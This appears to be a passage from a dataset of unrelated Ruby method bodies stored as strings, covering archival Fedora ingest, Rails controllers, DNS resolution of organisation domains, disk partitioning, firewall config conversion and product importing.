obj + \" ===> \"\n # now glob the object directory and makes datastreams for each of the files and add them as datastream to the fedora object.\n # fedora_obj.save\n \n dsid = 'rightsMetadata'\n xml_content = fedora_obj.datastreams_in_memory[dsid].content\n ds = Hydra::RightsMetadata.from_xml(xml_content)\n pid = fedora_obj.pid\n ds.pid = pid\n ds.dsid = dsid\n fedora_obj.datastreams_in_memory[dsid] = ds\n permissions = {\"group\"=>{\"public\"=>\"read\", \"archivist\" => \"edit\", \"researcher\" => \"read\", \"patron\" => 'read', \"donor\" => 'edit' }, \"person\" => {\"archivist1\" => \"edit\"}}\n ds.update_permissions(permissions)\n permissions = {\"group\" => {\"public\"=>\"read\"}}\n ds.update_permissions(permissions)\n \n fedora_obj.save\n \n Dir[\"#{obj}/**/**\"].each do |f|\n \n #damn OS X spotlight. \n unless f.include?('DS_Store')\n \n # text files and jp2000s get added as datastreams in the object. the wordperfect files get added as their own objects\n if f =~ /(.*)\\.(txt)/\n fedora_obj.add_datastream(create_file_ds(f, File.basename(f), File.basename(f)))\n \n elsif f =~ /(.*)\\.(pdf)/\n fedora_obj.add_datastream(create_file_ds(f, 'pdf', \"#{File.basename(f)}.pdf\"))\n elsif f =~ /(.*)\\.(jp2)/\n # Below is if you want to not have the jp2 imported into fedora. it will just move them to a directory.\n #jp2_dir = File.join('/tmp', fedora_obj.pid.gsub(\"druid:\", \"druid_\"))\n #FileUtils.mkdir_p(jp2_dir) unless File.directory?(jp2_dir)\n #FileUtils.cp(f, jp2_dir, :verbose => true)\n # Below this adds the jp2000s into fedora.\n fedora_obj.add_datastream(create_file_ds(f, File.basename(f), File.basename(f)))\n\t\t elsif f == sourceFile #source file gets its own fedora object. \n cpid = Nokogiri::XML(open(@fedora_uri + \"/management/getNextPID?xml=true&namespace=#{@fedora_ns}\", {:http_basic_authentication=>[@fedora_user, @fedora_pass]})).xpath(\"//pid\").text\n \n child_obj = FileAsset.new(:pid => cpid)\n child_obj.label = File.basename(f)\n dc = child_obj.datastreams['descMetadata']\n dc.extent_values << File.size(f)\n \n \n fedora_obj.add_relationship(:has_part, child_obj )\n fedora_obj.add_relationship(:has_collection_member, child_obj)\n puts \"processing:#{f} for objectID #{cpid}\"\n ext = File.extname(f)\n id = \"DS1\"\n label = File.basename(f)\n child_obj.add_datastream(create_file_ds(f, id, label ))\n child_obj.save\n print f + \"\\n\"\n else\n puts \"not a file to ingest ==> #{f}\"\n end #if\n end #unless\n end #dir\n \n dm = fedora_obj.datastreams[\"descMetadata\"]\n prop = fedora_obj.datastreams[\"properties\"]\n \n labels = row[\"labels\"].split(',')\n \n loutput = {\"subjects\" => [], \"access\" => []}\n doc_values = { \"D\" => \"Document\", \"S\" => \"Spreadsheet\", \"E\" => \"Email\", \"IM\" => \"Image\", \"V\" => \"Video\", \"SO\" => \"Sound\"} \n comp_values = {\"CM:5.25\" => \"5.25 inch. floppy diskettes\", \"CM:3.5\" => \"3.5 inch. floppy diskettes\", \"CM:P\" => \"Punch cards\", \"CM:T\" => \"Tape\" }\n access_values = {\"O\" => \"owner\", \"A\" => \"Archivists\", \"I\" => \"Invited\", \"P\" =>\"Public\", \"M\"=>\"Reading\"}\n \n \n labels.each do |l|\n if doc_values.has_key?(l)\n loutput[\"doctype\"] = doc_values[l]\n elsif comp_values.has_key?(l)\n loutput[\"mediatype\"] = comp_values[l]\n elsif access_values.has_key?(l)\n loutput[\"access\"] << access_values[l]\n elsif l.include?(\"S:\")\n loutput[\"subjects\"] << l.gsub(\"S:\", '') \n end #if\n end #do\n \n pp(loutput)\n prop.collection_values << \"Steven J. Gould\"\n prop.pages_values << number_of_pages(fedora_obj)\n prop.path_values << row['path']\n prop.file_size_values << row['size']\n prop.md5_values << row['md5']\n prop.sha1_values << row['sha1']\n prop.file_type_values << row['type']\n prop.filename_values << File.basename(obj)\n \n dm.isPartOf_values = row[\"subseries\"].gsub(/[0-9]|Bookmark:|\\./,\"\").strip\n dm.source_values << row['filename']\n dm.type_values << loutput['doctype']\n dm.format_values << loutput[\"mediatype\"]\n \n \n \n loutput['subjects'].each { |s| dm.subject_values << s.gsub(\"S:\", \"\") }\n \n dm.save\n prop.save\n fedora_obj.save\n\n solr_doc = fedora_obj.to_solr\n solr_doc << Solr::Field.new( :discover_access_group_t => \"public\" )\n ActiveFedora::SolrService.instance.conn.update(solr_doc)\n FileUtils.mkdir_p(@touch)\n end #unless\n end #if exists? \n rescue Exception => e \n puts e.backtrace\n\tputs \"erroring....\"\n sleep(300)\n return nil\n rescue Timeout::Error => e\n puts \"timeout error ....\" \n sleep(350)\n\n \n end", "def setup\n # First read all data from the setup-info.txt file\n setup_info = File.read(\"setup-info.txt\").split(\"\\n\")\n setup_info.delete(\"\")\n parse_index = 1\n\n # Create new resident instances for each person and put them all in an array\n @residents = []\n setup_info[0].to_i.times do\n @residents << Resident.new(setup_info[parse_index], setup_info[parse_index + 1], setup_info[parse_index + 2])\n parse_index += 3\n end\n\n # Create chore cycles\n @chore_cycles = []\n setup_info[parse_index].to_i.times do\n parse_index += 1\n cycle_name = setup_info[parse_index]\n parse_index += 1\n\n people = []\n setup_info[parse_index].to_i.times do\n parse_index += 1\n person_name = setup_info[parse_index]\n person = @residents.find { |resident| resident.name == person_name}\n people << person\n end\n parse_index += 1\n\n chores = []\n setup_info[parse_index].to_i.times do\n parse_index += 1\n chores << setup_info[parse_index]\n end\n\n @chore_cycles << Cycle.new(cycle_name, chores, people)\n end\nend", "def run\n\tsuper\n \n ## Read the TLD List and pre-process it to remove crud\n f = File.open Rails.root + \"data/tld.list\"\n tld_list_with_comments = f.read\n tld_list = []\n tld_list_with_comments.each_line {|line| tld_list << line unless line =~ /^\\/\\// }\n tld_list.each {|tld| tld.chomp!}\n \n tld_list = [\"com\",\"net\", \"org\"]\n \n ###\n # Organization\n ###\n \n\tif @object.kind_of? Organization\n\t\tif @object.name\n\t\t tld_list.each do |tld|\n \n\t\t\tbegin\n\t\t\t\t domain = \"#{@object.name}.#{tld}\"\t\t\n\t\t\t\t\tresolved_address = Resolv.new.getaddress(domain)\n\t\t\t\n\t\t\t\t\tif resolved_address\n puts \"Resolved Address: #{resolved_address}\"\n create_object Device, :ip_address => resolved_address, \n :name => domain, \n :organization => @object\n create_object Domain, :name => domain, \n :organization => @object\n end\n \n \t rescue Exception => e\n\t\t\t puts e\n\t\t\t end\n\t\t end\n \n\t\telse\n\t\t\tputs \"Error, object has no name to look up!\"\n\t\tend\n\tend\n\n ###\n # Domain!\n ### \n\n\tif @object.kind_of? Domain\n\t\tif @object.name\n\t\t tld_list.each do |tld|\n\n\t\t\tbegin\n\t\t\t\t domain = \"#{@object.name}.#{tld}\"\t\t\n\t\t\t\t\tresolved_address = Resolv.new.getaddress(domain)\n\n\t\t\t\t\tif resolved_address\n create_object Device, :ip_address => resolved_address, \n :name => domain, \n :domain_id => @object.id,\n :organization_id => @object.organization.id\n end\n\n \t rescue Exception => e\n\t\t\t puts e\n\t\t\t end\n\t\t end\n\n\t\telse\n\t\t\traise \"Error, object has no name to look up!\"\n\t\tend\n\t\n\t\tnil\n\tend\nend", "def create\n @computer = Computer.new(computer_params)\n\t\t# logger.debug params[:computer].to_yaml\n\t\t\n respond_to do |format|\n if @computer.save\n flash[:notice] = 'Computer was successfully created.'\n format.html { redirect_to(@computer) }\n format.xml { render :xml => @computer, :status => :created, :location => @computer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @computer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_fedora_objects(attributes, files_directory, collection_id)\n factory_class = ::Importer::Factory.for(\"Item\")\n f = factory_class.new(attributes, files_directory, collection_id)\n f.run\n end", "def create_fedora_objects(model, attributes)\n ::Importer::Factory.for(model.to_s).new(attributes, @files_directory, files(attributes)).run\n end", "def set_up\n #@computer = Computer.new\n end", "def create_and_write_pkl\n # create PackingList\n @logger.info( 'Create PKL ...' )\n @pkl_assets = Array.new\n \n # FIXME also the fonts used in the subtitles have to go into the asset and packing list\n # TODO check: I think this is already done\n \n \n # Feed the DCP_Assets of the cpls created plus the cpl into pkl_assets.\n @pkl_assets << @packing_list\n pkl_uuid = ShellCommands.uuid_gen\n @logger.debug( \"PKL UUID: #{ pkl_uuid }\" )\n @pkl_file = DCP::pkl_file( @dcpdir, pkl_uuid )\n \n pkl = PKL_GENERIC.new(\n\tpkl_uuid,\n\t@dcp_common_info,\n\t@pkl_assets.flatten,\n\t@dcp_functions\n )\n if @dcp_common_info.sign\n\tpkl = DCSignature::DCSignature.new( pkl.xml, @signature_context.signer_key, @signature_context.certchain_objs )\n end # if\n \n @pkl_dcp_asset = DCPAsset.create_asset( \n\tDCP::pkl_file( @dcpdir, pkl_uuid ),\n\tpkl_uuid, \n\tCinemaslidesCommon::MIMETYPE_XML, \n\tasdcp_digest_string( pkl.xml ), \n\tpkl.xml.length, \n\tpackinglist = TRUE )\n\n # Write PackingList\n @logger.info( 'Write PKL ...' )\n File.open( @pkl_file, 'w' ) { |f| f.write( pkl.xml ) }\n end", "def test_create_all()\n tmp_path = Dir.tmpdir()\n\n input = {\n :ruby => {\n :path => \"#{tmp_path}/ruby\",\n :executables => \"./bin\",\n },\n :python => {\n :path => \"#{tmp_path}/python\",\n },\n :java => {\n :path => \"#{tmp_path}/java\",\n :executables => [\"./obj\", \"./lib\"],\n },\n }\n programs = Factory.create_all(input)\n\n assert_equal(3, programs.size())\n\n program0 = programs[:ruby]\n assert_equal(\"ruby\", program0.name)\n assert_equal(\"#{tmp_path}/ruby\", program0.path)\n assert_equal([\"./bin\"], program0.executables)\n\n program1 = programs[:python]\n assert_equal(\"python\", program1.name)\n assert_equal(\"#{tmp_path}/python\", program1.path)\n assert_equal([\".\"], program1.executables)\n\n program2 = programs[:java]\n assert_equal(\"java\", program2.name)\n assert_equal(\"#{tmp_path}/java\", program2.path)\n assert_equal([\"./obj\", \"./lib\"], program2.executables)\n end", "def create\n return false unless authorize(permissions = [\"administer_catalog\"])\n file = params[:catalog][:dump]\n params[:catalog].delete(:dump)\n @catalog = Catalog.new( params[:catalog])\n importer=ImporterManager.instance.import_methods[@catalog.catalog_type.import_method]\n if file\n #begin\n importer.import @catalog,file\n #rescue\n #@catalog.errors.add_to_base t(\"admin.catalog.errors.import_file_invalid\")\n #end\n \n else\n if importer.class!=Importer::DummyCatalogImporter\n @catalog.errors.add_to_base t(\"admin.catalog.errors.import_file_not_blank\")\n else\n importer.import @catalog\n end\n end\n \n respond_to do |format|\n if @catalog.errors.empty?\n flash.now[:notice] = t('admin.catalog.flash.created')\n if(!@catalog.catalog_type.active_catalog)\n @catalog.catalog_type.active_catalog_id = @catalog.id\n @catalog.catalog_type.save\n end\n format.html { redirect_to(@catalog) }\n format.xml { render :xml => @catalog, :status => :created, :location => @catalog }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @catalog.errors, :status => :unprocessable_entity }\n end\n\n \n end\n end", "def get_computer(name)\n @file = \"/private/var/db/dslocal/nodes//#{resource[:dslocal_node]}/computers/#{name}.plist\"\n NSMutableDictionary.dictionaryWithContentsOfFile(@file)\n end", "def add_or_modify_entry(host,params,login,location_string,log)\n user = User.find( :first, :conditions => { :login => login } )\n if user.nil?\n log.error(\"User %s not found, bailing out\" % login)\n return false\n end\n \n location = Location.find( :first, :conditions => { :name => location_string } )\n if location.nil?\n log.info(\"No location %s found, creating new...\" % location_string)\n location = Location.new({ :name => location_string })\n if not location.save\n log.error(\"Could not save location, %s\" % location.errors.full_messages.join(\", \"))\n return false\n end\n end\n\n model = Model.find( :first, :conditions => { :name => params[:model] } )\n if model.nil?\n log.info(\"No model %s found, creating new...\" % params[:model])\n manufacturer = Manufacturer.find( :first, :conditions => { :name => params[:manufacturer] } )\n if manufacturer.nil?\n log.info(\"No manufacturer %s found, creating new...\" % params[:manufacturer])\n manufacturer = Manufacturer.new( { :name => params[:manufacturer] } )\n manufacturer.save\n if not manufacturer.save\n log.error(\"Could not save manufacturer, %s\" % manufacturer.errors.full_messages.join(\", \"))\n return false\n end\n end\n\n #TODO: hardcoded Server here, possibly should be an option\n kind = Kind.find( :first, :conditions => { :name => \"Server\" } )\n if not kind\n log.info(\"Could not find \\\"Server\\\" asset type, adding it...\")\n kind = Kind.new( { :name => \"Server\" } )\n kind.save\n end\n\n model = Model.new( { :name => params[:model], :kind => kind, :manufacturer => manufacturer } )\n model.save\n if not model.save\n log.error(\"Could not save model, %s\" % model.errors.full_messages.join(\", \"))\n return false\n end\n end\n\n params.delete(:model)\n params.delete(:manufacturer)\n params.delete(:user)\n\n asset = PhysicalMachine.find( :first,:joins => :asset, :conditions => { :assets => { :name => host } } )\n if asset.nil? \n log.info(\"No asset %s found, creating new...\" % host)\n asset = PhysicalMachine.new\n asset.build_asset\n asset.attributes = params\n asset.user = user\n asset.model = model\n asset.location = location\n if not asset.save\n log.error(\"Could not save asset, %s\" % asset.errors.full_messages.join(\", \"))\n return false\n end\n else\n log.info(\"Updating existing asset %s...\" % host)\n if not asset.update_attributes(params)\n log.error(\"Could not update asset, %s\" % asset.errors.full_messages.join(\", \"))\n return false\n end\n end\n\n true\nend", "def icl_new( args )\n type = args.split(\" \")[0]\n\n if type == \"food\"\n foo = args.split(\" \")[1].split(\",\")\n name = foo[0]\n cal = foo[1]\n if @foodDB.has?(name)\n puts \"ERROR: Food '#{name}' already in database\"\n return\n else\n @foodDB.add('b', name, cal)\n end\n\n elsif type == \"recipe\"\n name = args.split(\",\")[0].split(\" \")[1..-1].join(\" \")\n foods = args.split(\",\")[1..-1]\n fList = []\n foods.each do | food | \n if !@foodDB.has?(food)\n puts \"ERROR: Food '#{food}' not in database\"\n return\n end\n\n fList += [@foodDB.get(food)]\n end\n\n\n if @foodDB.has?(name)\n puts \"ERROR: Recipe '#{name}' already in database\"\n return\n else\n @foodDB.add('r', name, fList)\n end\n end\n\n end", "def main\n\n operations.make\n \n operations.each {|op|\n new_experimental_plt = op.output(OUTPUT).collection\n note = op.input(NOTE).val.to_s\n if note != '' || note != nil || note != ' '\n note_entered = true\n key = 'Note'\n Item.find(new_experimental_plt.id).associate key.to_sym, note\n end\n show {\n title \"New Experimental Plate Created\"\n separator\n note \"Output Item: <b>#{new_experimental_plt}</b>\"\n bullet \"Output Object Type: <b>#{new_experimental_plt.object_type.name}</b>\"\n (note_entered) ? (bullet \"Note: <b>#{note}</b>\") : nil\n }\n }\n \n return {}\n \n end", "def create_service_objects\n\n # initialize vars\n svcconfig = String.new\n svcconfig = \"#### Service Objects ####\\n\"\n svcconfig += \"config firewall service custom\"\n service_tracker = Set.new # create a set for tracking if service already has been created to avoid duplicates\n category = $opts[:servicecategory]\n filterused = nil\n\n # Open external files with data for mapping protocol port numbers\n ip = File.open 'reference/ip_protocol_nums.txt', 'r'\n tcpudp = File.open 'reference/tcp-udp_ports.txt', 'r'\n icmp = File.open 'reference/icmp_type_codes.txt', 'r'\n icmpmsg = File.open 'reference/icmp_msg_codes.txt', 'r'\n\n # Initialize hashes for stroing the protocol/port number information from files\n h_ip = Hash.new\n h_tcpudp = Hash.new\n h_icmp = Hash.new\n h_icmp_msg = Hash.new\n\n # import the ip protocol number info from file to h_ip hash\n ip.each_line do |x|\n num, name = x.split\n h_ip[num] = name\n end\n\n # reverse the keys and values\n h_ip = h_ip.invert\n\n # import the tcp/dump port number info from file to h_tcpudp hash\n tcpudp.each_line do |x|\n num, name = x.split\n h_tcpudp[num] = name\n end\n\n # reverse the keys and values\n h_tcpudp = h_tcpudp.invert\n\n # import the icmp type code detail from file to the h_icmp hash\n icmp.each_line do |x|\n num, name = x.split\n h_icmp[num] = name\n end\n\n # import the icmp msg code detail from file to the h_icmp_msg hash\n icmpmsg.each_line do |x|\n num, name = x.split\n h_icmp_msg[num] = name\n end\n\n # close the protocol info files\n ip.close\n tcpudp.close\n icmp.close\n icmpmsg.close\n\n # Create a new service category in the local fg config file to assign all created services to\n svcconfig = <<-EOS\nconfig firewall service category\n edit #{category}\nend\n\nEOS\n\n # Merge ipv4 and ipv6 filters to hash \"filters\" to process both ipv4 and ipv6 in this request\n filters = $h_filters.merge($h_filters6)\n\n # Process service objects for all ipv4 filters first\n filters.each_key do |filtername|\n filterused = check_if_filter_used(filtername)\n\n unless filterused\n p \"policy_service_objects: filter not used by an interface, skipping: #{filtername}\" if $opts[:verbose]\n next\n end\n\n\n filters[filtername].each_key do |termname|\n filters[filtername][termname][:source].each do |sourcename, sourcetype|\n\n # Use sourcetype to identify service definitions then modify those as needed to\n # convert for use in FG config\n case sourcetype.to_s # we will be matching against strings and output to string so need to chg from symbol\n when *%w[destination-port source-port port]\n\n # Matching anything that is all digits or digits with a single dash\n # the just digits indicates a single port number while with a dash is a range.\n # anything that does not match these will be processed in subsequent case\n # as we'll need to map those from words \"http, ftp, etc\" to port numbers\n if /^(\\d+)$/ =~ sourcename || /^(\\d+[-]\\d+)$/ =~ sourcename\n\n ### Some entries contain a range of ports. In these cases\n ### we need to split the low and high ports for assignment\n lowport, highport = ''\n lowport, highport = sourcename.to_s.split('-')\n\n highport = lowport unless highport\n\n ### Check to see if the associated term defines tcp, udp or icmp\n ### if it defines none of these then we will create objects for\n ### both tcp and udp. It defines just icmp, we won't worry about the\n ### tcp/udp objects and will process icmp under a different case\n tcp, udp, icmp = nil\n if filters[filtername][termname][:source].has_key?(:tcp)\n tcp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:udp)\n udp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:icmp)\n icmp = true\n end\n unless tcp && udp && icmp\n tcp = true\n udp = true\n end\n\n # create a tcp destination object if term contains protocol tcp and if\n # it's not type source-port and if we haven't already created this object\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :udp)\n\n service_tracker.add(\"#{sourcename}-udp\")\n end\n\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp_source\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :udp)\n\n service_tracker.add(\"#{sourcename}-udp_source\")\n end\n\n # Map named protocol term definitions to ports (aka http, ftp, snmp)\n else\n # Get port matching sourcename from h_tcpudp service/port mapping array\n port, lowport, highport = nil\n\n port = h_tcpudp[sourcename.to_s]\n # if port is nil then no match was found, print out some info and move to next record\n if port == nil\n p \"Couldn't find a protocol match in file: Sourcename: #{sourcename} --> Port: #{port}\"\\\n if $opts[:verbose]\n\n next\n end\n\n lowport, highport = port.split('-')\n highport = lowport unless highport\n\n # Check to see if the associated term defines tcp, udp or icmp\n # if it defines none of these then we will create objects for\n # both tcp and udp. It defines just icmp, we won't worry about the\n # tcp/udp objects and will process icmp under a different case\n tcp, udp, icmp = nil\n if filters[filtername][termname][:source].has_key?(:tcp)\n tcp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:udp)\n udp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:icmp)\n icmp = true\n end\n unless tcp && udp && icmp\n tcp = true\n udp = true\n end\n\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :udp)\n\n service_tracker.add(\"#{sourcename}-udp\")\n end\n\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp_source\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :udp)\n\n service_tracker.add(\"#{sourcename}-udp_source\")\n end\n end\n\n\n### Process ICMP protocol types\n\n when *%w[icmp-type icmp-type-except]\n port = String.new\n\n if /^(\\d+)$/ =~ sourcename\n port = sourcename\n else\n port = h_icmp[sourcename.to_s]\n end\n\n if port and !service_tracker.include?(port)\n svcconfig += config_fgservice(\"ICMP-#{sourcename}\", port, port, \"from term: #{termname}\",\\\n category, :icmp, :icmp)\n\n service_tracker.add(\"ICMP-#{sourcename}\")\n\n elsif !port\n p \"create_fgpolicy_service_objects: service icmp-type not found port = #{port} sourcename = #{sourcename}\"\\\n if $opts[:verbose] || $opts[:debug]\n next\n end\n end\n end\n end\n end\n if $opts[:debug]\n p \"service tracker\"\n service_tracker.each do |x|\n p x\n end\n end\n\n # Return the resulting config to main execution\n svcconfig += \"end\\n\\n\"\nend", "def run\n\t\tsuper\n\n\t begin\n\t\t\tif @object.kind_of?(Device)\n\t\t\t\tif @object.name\n\t\t\t\t\tbegin\n\t\t\t\t\t\tresolved_address = Resolv.new.getaddress(@object.name)\n\t\t\t\t\t\t@object.name = resolved_address\n\t\t\t\t\trescue Exception => e\n\t\t\t\t\t puts e\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\traise \"Error, object has no name to look up! Try a reverse lookup!\"\n\t\t\t\tend\n\n\t\t\t\t## Attach Mail Servers?\n\n\t\t\t\t## Other Records?\n\t\t\t\t\n\t\t\telsif @object.kind_of?(Domain)\n\t\t\t\tbegin\n\t\t\t\t\tif @object.name\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tresolved_address = Resolv.getaddress(@object.name)\n\t\t\t\t\t\t\th = create_object Device, { :ip_address => resolved_address }\n\t\t\t\t\t\t\th.domains << @object\n\t\t\t\t\t\trescue Exception => e\n\t\t\t\t\t\t puts e\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\traise \"Error, object has no name to look up! Try a reverse lookup!\"\n\t\t\t\t\tend\n\t\t\t\trescue \n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\trescue Exception => e\n\t\t\tputs e.to_s\n\t\tend\n\t\t\n\t\n\t\t\n\t\t@object.save!\n nil\n\tend", "def create\n begin\n # Set the partition (/dev/sdb1), device (/dev/sdb) and alignment (optimal,minimal,none etc.) variables\n partition= resource[:name]\n device=partition[0,(partition.length-1)]\n alignment= resource[:alignment]\n\n # Now we can create the partition\n partitions = parted('-a', resource[:alignment],'--script',device,'mklabel',resource[:part_label],'mkpart', resource[:part_type],resource[:fs_type],resource[:p_begin],resource[:p_end])\n rescue Puppet::ExecutionFailure => e\n false\n end\n end", "def create_stored_manifest\n unless stored_manifest\n @stored_manifest = directory.files.new(:body => components.to_json, :key => \"#{manifest.name}-#{version}.json\", :content_type => 'application/json')\n @stored_manifest.acl = 'public-read' if Manifesto.public_manifests?\n @stored_manifest.save\n create_current_manifest\n end\n end", "def load_and_report(obj) # prints a message it's adding a suitcase to the cargo hold, and gives us the suitcase's Object Id number.\n print \"Loading object \"\n puts obj.object_id # also does some reporting of the current state of the stack.\n\n add_to_stack(obj) # adding items to the instance (the stacklike thing-the cargo hold in this case)\n end", "def createpb filename\n return \"Phonebook already exists\" if File.file?(filename)\n pb = Phonebook.new\n pb.create(filename)\nend", "def associate_components \n #associate internals and resources with parts\n @parts.each do |name, data|\n data[:internals] = associate_component(data[:file], @internals)\n data[:resources] = associate_component(data[:file], @resources)\n data.delete(:file) #remove the raw file data as it's no longer needed and would waste space if written to file\n end\n #associate props with internals\n @internals.each do |name, data| \n data[:props] = associate_component(data[:file], @props) \n data.delete(:file) #remove the raw file data\n end\n end", "def create_resources(operator)\n iterate(operator.state) do |model, attrs|\n obj = model.new(name: attrs[:tags][:Name], # , instance_id: attrs[:id],\n # ami: attrs[:ami], public_ip: attrs[:public_ip], arn: attrs[:arn],\n config: attrs,\n provider: Provider.first, runtime: Runtime.first,\n provider_name: Provider.first.name, runtime_name: Runtime.first.name,\n )\n if obj.valid?\n obj.save\n else\n Cnfs.logger.warn(obj.errors)\n end\n # binding.pry\n end\n end", "def run\n @loader.retrieve_and_store\n resource = @loader.resource\n\n output = []\n if resource.valid?\n output << \"Created #{resource.name}\"\n else\n output << \"Couldn't create #{resource.name} for the following reasons:\"\n resource.errors.full_messages.each do |error|\n output << \" * #{error}\"\n end\n end\n output.join(\"\\n\")\n end", "def import_tirerack_products\n start_time = Time.now\n performance_property = Property.find_by_name('performance_category')\n raise StandardError.new(\"No Property for Performance Category was found!\\n\") if performance_property.nil?\n manufacturer_property = Property.find_by_name('manufacturer')\n raise StandardError.new(\"No Property for Manufacturer was found!\\n\") if manufacturer_property.nil?\n \n mfg_list = get_manufacturer_list\n \n mfg_list.each do |mfg|\n unless Taxonomy.find_by_name(\"Tires\").nil?\n if Taxon.find(:first, {:conditions => {:name => mfg, :parent_id => Taxon.find_by_name(\"Tires\").id}}).nil?\n puts \"\\tWorking on products for manufacturer #{mfg}\\nHooking up manufacturer to Taxonomy Tires.\\n\"\n t = Taxon.new({\n :name => mfg,\n :parent_id => Taxon.find_by_name(\"Tires\").id,\n :taxonomy_id => Taxonomy.find_by_name(\"Tires\").id\n })\n t.save!\n puts \"Added new Taxon #{t.name}\\n\"\n end\n else\n raise StandardError.new(\"No Taxonomy for Tires was found!\\n\")\n end\n \n unless Taxonomy.find_by_name(\"Manufacturers\").nil?\n if Taxon.find(:first, {:conditions => {:name => mfg, :parent_id => Taxon.find_by_name(\"Manufacturers\").id}}).nil?\n puts \"\\tWorking on products for manufacturer #{mfg}\\nHooking up manufacturer to Taxonomy Manufacturers.\\n\"\n t = Taxon.new({:name => mfg, :parent_id => Taxon.find_by_name(\"Manufacturers\").id, :taxonomy_id => Taxonomy.find_by_name(\"Manufacturers\").id})\n t.save!\n puts \"Added new Taxon #{t.name}\\n\"\n end\n else\n raise StandardError.new(\"No Taxonomy for Manufacturers was found!\\n\")\n end\n \n file = open_file_read('tires', mfg)\n data = YAML.load(file)\n data.each_key do |model|\n p = Product.find_by_name(model)\n if p\n puts \"Found existing product #{p.name} with #{p.variants.length} variants\\n\"\n \n #TODO: we want to add all the option values again, this time with the correct option types for the product.\n \n \n else\n puts \"\\tCreating #{model} Product\\n\"\n new_product = Product.new(:name => model, :price => get_tirerack_variant_minprice(data[model][:variants]), :available_on => Time.now, :description => data[model][:description])\n new_product.save!\n \n # add taxons and properties now\n new_product.taxons << Taxon.find_all_by_name(mfg)\n ProductProperty.create(:product_id => new_product.id, :property_id => performance_property.id, :value => data[model][:performance])\n ProductProperty.create(:product_id => new_product.id, :property_id => manufacturer_property.id, :value => mfg)\n new_product.save!\n \n # add images to the product\n data[model][:images].each do |img|\n begin\n i = Image.new\n i.attachment = File.new(File.join(RAILS_ROOT,\"public\",\"images\",\"tirerack\",File.basename(img).gsub(/_s.jpg/,'_l.jpg')))\n i.viewable_id = new_product.id\n i.viewable_type = 'Product'\n i.save \n rescue\n debuglog \"Failed to save Image(s) for Product #{new_product.id} named #{new_product.name}\\n\"\n puts \"Failed to save Image(s) for Product #{new_product.id} named #{new_product.name}\\n\"\n end\n end\n \n # iterate the :variants key now\n variant_counter = 0\n data[model][:variants].each do |v|\n ap v\n # check to see that the variant is even available before trying to add it\n # :availability and :level are the keys to make up the onhand values\n options = {\n :sku => \"#{model}_#{variant_counter += 1}\",\n :cost_price => v[:price],\n :price => markup_tirerack(v[:price]),\n :width => '',\n :weight => v[:weight].to_i,\n :on_hand => v[:level].to_i\n }\n new_variant = new_product.variants.create(options)\n begin\n # TODO: This is flawed since some Option Values belong to different types.\n new_variant.option_values << OptionValue.find_by_name(v[:load_range].to_s)\n new_variant.option_values << OptionValue.find_by_name(v[:utqg].to_s)\n new_variant.option_values << OptionValue.find_by_name(v[:load_index].to_s)\n new_variant.option_values << OptionValue.find_by_name(v[:load_factor].to_s)\n new_variant.option_values << OptionValue.find_by_name(v[:speed_rating].to_s)\n new_variant.option_values << OptionValue.find_by_name(v[:size].to_s)\n new_variant.option_values << OptionValue.find_by_name(v[:sidewall].to_s)\n new_variant.save!\n puts \"Created Variant #{new_variant.sku}\\n\"\n rescue => error\n raise StandardError.new(\"Something happened in the Option Value find #{error}\\n\")\n end\n end\n end\n end \n end\n puts \"create_tire task took #{Time.now - start_time} seconds\\n\" \n end", "def create(resources)\n connect if @persevere.nil?\n created = 0\n \n check_schemas\n \n resources.each do |resource|\n resource = Persevere.enhance(resource)\n serial = resource.model.serial(self.name)\n path = \"/#{resource.model.storage_name}/\"\n # Invoke to_json_hash with a boolean to indicate this is a create\n # We might want to make this a post-to_json_hash cleanup instead\n payload = resource.to_json_hash.delete_if{|key,value| value.nil? }\n DataMapper.logger.debug(\"(Create) PATH/PAYLOAD: #{path} #{payload.inspect}\")\n response = @persevere.create(path, payload)\n\n # Check the response, this needs to be more robust and raise\n # exceptions when there's a problem\n if response.code == \"201\"# good:\n rsrc_hash = JSON.parse(response.body)\n 